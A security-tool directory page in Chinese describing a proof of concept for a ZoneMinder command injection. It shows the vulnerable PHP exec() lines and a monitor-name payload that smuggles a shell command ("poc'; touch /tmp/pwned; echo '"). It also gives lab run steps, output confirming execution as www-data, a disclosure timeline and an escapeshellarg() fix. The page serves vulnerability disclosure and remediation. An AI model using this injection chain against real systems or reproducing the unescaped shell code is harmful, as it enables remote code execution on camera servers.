Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-76060_ZoneMinder_CommandInjection-PoC — CVE-2026-76060 的概念验证漏洞利用程序,针对 ZoneMinder 事件导出功能中的操作系统命令注入漏洞,演示了通过精心构造的监控器名称实现远程代码执行(RCE)。 | Kitploit
工具/GitHubGitHub/investigato/cve-2026-76060_zoneminder_commandinjection-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队
GitHubinvestigato/cve-2026-76060_zoneminder_commandinjection-poc

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

CVE-2026-76060 的概念验证漏洞利用程序,针对 ZoneMinder 事件导出功能中的操作系统命令注入漏洞,演示了通过精心构造的监控器名称实现远程代码执行(RCE)。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
1251个月前尚未审核
分享

拭目以待

针对 ZoneMinder 事件导出功能(web/includes/download_functions.php)中 OS 命令注入漏洞的概念验证。

监控器名称通过手动单引号包裹的方式直接插入到 shell 命令中,而非使用 escapeshellarg()。能够创建监控器的攻击者可以注入任意 shell 命令,当任何用户触发事件导出时,这些命令将以 www-data/进程运行用户身份执行。

根本原因

  • 2023 年 10 月 4 日的提交 44c5c3c 引入了 download_functions.php 文件。提交信息为“引入新的下载模式,将事件视频按监控器合并为单个文件。”漏洞代码在此处出现,但需要管理员先创建监控器。
  • 2024 年 1 月 2 日的提交 2d49e93 “为监控器引入创建权限,使指定用户可以编辑现有监控器,但不能创建新监控器。”情况在此发生变化。现在,仅拥有 Monitors=Create 权限的用户即可设置用于攻击的监控器名称,而任何拥有导出权限的用户都可以触发攻击。

受影响版本:>= 1.37.48(包含 SQL 迁移更改)且 <= 1.38.1 1.36.x 分支不受影响。

工作原理

两个用户。两种权限级别。一个 shell。

  • medpriv 拥有 Monitors=Create 权限,如果已有监控器则拥有 Monitors=Edit 权限。
  • lowpriv 仅拥有足以触发事件导出的访问权限。在不知情的情况下扣动扳机。

事件记录无需手动创建。ZoneMinder 是一个摄像头系统……它会随着摄像头运行自动创建事件记录。在实际部署中,设置步骤为:创建监控器,然后离开。

两个注入点,一个来源

未经净化的监控器名称会到达两个独立的 exec() 调用:

第 126 行 | ffmpeg:

$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

第 150 行 | tar/zip:

$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

无论导出格式如何,两者都可以通过同一个精心构造的监控器名称触达。

要求

  • Docker
  • Docker Compose

使用方法

git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# 等待 ZoneMinder 完成初始化(约 30 秒)
uv run poc.py

init.sql 以启用认证的方式引导数据库,并创建两个用户:

  • medpriv 拥有监控器创建权限(为节省时间也拥有事件创建权限,但在生产环境中并非必需)
  • lowpriv 仅拥有事件导出访问权限

uv run poc.py 运行完整攻击链:

  1. medpriv 通过 API 认证并创建一个名为 poc'; touch /tmp/pwned; echo ' 的监控器
  2. medpriv 创建一个事件记录以加速演示(在生产环境中,ZoneMinder 会自动执行此操作)
  3. lowpriv 认证并触发事件导出
  4. 脚本检查容器内的 /tmp/pwned 并打印结果

预期输出:

Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

  • 3.1:8.8(高危):AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 4.0:8.7(高危):AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

无论如何,至少使用 escapeshellarg() 不费吹灰之力。

披露时间线

  • 2026 年 3 月 8 日:通过 ZoneMinder 的安全联系邮箱报告
  • 2026 年 3 月 9 日:在提交 b3a7c05 中修复
  • 2026 年 6 月 8 日:公开披露

[!NOTE] 报告后 12 小时内修复。维护者未确认这是安全问题。我不同意 更新于 8/27/26 - 维护者已确认报告,CVE 已发布。

修复方案

至少在两个注入点应用 escapeshellarg():

// 第 126 行
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// 第 150 行
$command .= ' '.escapeshellarg($mergedFileName);

generateFileList() 中的第 116 行和第 211 行存在相同的模式。


发现者(@investigato)
完整分析文章:scriptkittens.com

下载工具